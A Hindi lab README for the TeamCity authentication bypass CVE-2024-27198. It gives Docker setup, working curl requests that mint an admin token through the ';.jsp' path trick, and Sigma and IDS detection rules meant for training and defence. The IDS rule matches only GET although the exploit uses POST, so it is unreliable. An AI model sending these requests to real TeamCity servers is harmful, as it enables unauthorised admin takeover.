
Lab for the CVE-2024-27198
TeamCity टोकन प्रबंधन के लिए एक केवल-व्यवस्थापक पृष्ठ प्रदान करता है जो प्रमाणीकरण द्वारा संरक्षित नहीं है। यह एक अप्रमाणित उपयोगकर्ता को व्यवस्थापक उपयोगकर्ता के लिए एक एक्सेस टोकन उत्पन्न करने की अनुमति देता है यदि वे किसी मौजूदा उपयोगकर्ता की आईडी ढूंढ सकते हैं।
भेद्यता REST API रूटिंग तंत्र में निहित है। एक अप्रमाणित एंडपॉइंट में विशिष्ट वर्ण (जैसे ?jsp=/app/rest/...;.jsp) जोड़कर, हमलावर TeamCity वेब सर्वर को सुरक्षा फ़िल्टर को बायपास करते हुए अनुरोध को एक प्रमाणित एंडपॉइंट पर रूट करने के लिए धोखा दे सकते हैं। इसके लिए शून्य पूर्व ज्ञान या पहुंच की आवश्यकता होती है, जो इसे शुद्ध 9.8 CVSS बनाता है।
cd CVE-2024-27198
docker compose -f docker-compose.yml up -d
कमजोर TeamCity इंस्टेंस तक पहुंचें http://localhost:8111. पैच किए गए TeamCity इंस्टेंस तक पहुंचें http://localhost:8112.
उपयोगकर्ता नाम:
admin
पासवर्ड:
admin
प्रमाणीकरण के बिना संसाधन के लिए GET अनुरोध:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
दोनों को 401 स्थिति कोड के साथ त्रुटि लौटानी चाहिए।
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
इसे इस प्रकार एक टोकन लौटाना चाहिए (टोकन हर बार अलग होता है):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
इसे 401 स्थिति कोड के साथ त्रुटि लौटानी चाहिए क्योंकि पैच किए गए इंस्टेंस में भेद्यता नहीं है।
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
उपयोगकर्ताओं की सूची लौटानी चाहिए।
प्रयोगशाला में प्रदर्शन के दौरान, आप एक बड़ी ब्लू टीम खोज दिखा सकते हैं: डिफ़ॉल्ट रूप से, यह भेद्यता अविश्वसनीय रूप से गुप्त है!
;.jsp HTTP अनुरोध लॉग नहीं होते हैं।तो हम इसे कैसे पकड़ें? जब हमलावर अपने निशान साफ करता है! जब हमलावर छिपने के लिए अपना दुष्ट टोकन हटाता है, TeamCity उसे लॉग करता है।
ऑडिट लॉग में हमलावर को अपने निशान छिपाते हुए खोजें:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(आप एक लॉग प्रविष्टि देखेंगे जो दर्शाती है कि "REDTEAM" टोकन हटा दिया गया था)।
docker compose -f docker-compose.yml down
यह भेद्यता CWE-288: वैकल्पिक पथ या चैनल का उपयोग करके प्रमाणीकरण बाईपास का एक उदाहरण है।
दोष Tomcat वेब सर्वर और TeamCity एप्लिकेशन राउटर के बीच पथ भ्रम समस्या से उपजा है। ;.jsp जोड़कर और jsp= पैरामीटर में लक्ष्य REST API एंडपॉइंट पास करके, प्रारंभिक सुरक्षा फ़िल्टर अनुरोध को एक सार्वजनिक .jsp फ़ाइल (जो अनुमत है) के लिए एक अप्रमाणित अनुरोध के रूप में व्याख्या करता है। हालांकि, आंतरिक राउटर ;.jsp को हटा देता है और प्रमाणीकरण फ़िल्टर को लागू किए बिना अनुरोध को प्रतिबंधित /app/rest/ एंडपॉइंट पर अग्रेषित करता है।
वैध उपयोग मामला (; की अनुमति क्यों है?):
Tomcat मैट्रिक्स पैरामीटर के लिए अर्धविराम वर्ण (;) का उपयोग करता है। ऐतिहासिक रूप से, इस तंत्र का उपयोग पथ के भीतर सीधे पैरामीटर पास करने के लिए किया जाता है, जैसे कुकी अक्षम होने पर उपयोगकर्ता सत्र स्थिति बनाए रखने के लिए JSESSIONID जोड़ना। यह सामान्य, वैध वेब सर्वर व्यवहार, TeamCity एप्लिकेशन राउटर द्वारा अनुचित सत्यापन के साथ मिलकर, भेद्यता पैदा करता है।
चल रहे या पिछले समझौते का पता लगाने के लिए, ब्लू टीमों को देखना चाहिए:
/app/rest/ एंडपॉइंट को लक्षित करते हैं लेकिन URI में विसंगतिपूर्ण ;.jsp स्ट्रिंग होती है।teamcity-server.log): एक्सेस टोकन की अस्पष्टीकृत पीढ़ी या नए प्रशासनिक खातों का निर्माण।क्योंकि प्रारंभिक शोषण डिफ़ॉल्ट रूप से गुप्त है, ब्लू टीमों को हमलावर की शोषण के बाद की कार्रवाइयों, जैसे कि उनके निशान छिपाने, का पता लगाने पर निर्भर रहना चाहिए। यहां आपके SIEM के लिए संदिग्ध टोकन हटाने का पता लगाने के लिए एक सिग्मा नियम है:
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
यह साबित करने के लिए कि यह पता लगाना काम करता है, siem_simulator.py स्क्रिप्ट चलाएं।
docker compose up -d)।python3 siem_simulator.py
नेटवर्क पर इस शोषण प्रयास का पता लगाने के लिए, एक SOC निम्नलिखित IDS नियम लागू कर सकता है, जो REST API पथों के साथ संयुक्त विसंगतिपूर्ण ;.jsp पैटर्न की तलाश करता है:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
यह साबित करने के लिए कि शमन काम करता है, आप पोर्ट 8112 पर चल रहे पैच किए गए TeamCity कंटेनर के खिलाफ बिल्कुल वही शोषण पेलोड लॉन्च कर सकते हैं:
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
क्योंकि पैच सख्ती से रूट मैचिंग लागू करता है और मैट्रिक्स पैरामीटर को उचित रूप से सैनिटाइज़ करता है, बाईपास विफल हो जाएगा। आपको उत्पन्न टोकन के बजाय 401 अनधिकृत या 404 नहीं मिला प्रतिक्रिया देखनी चाहिए।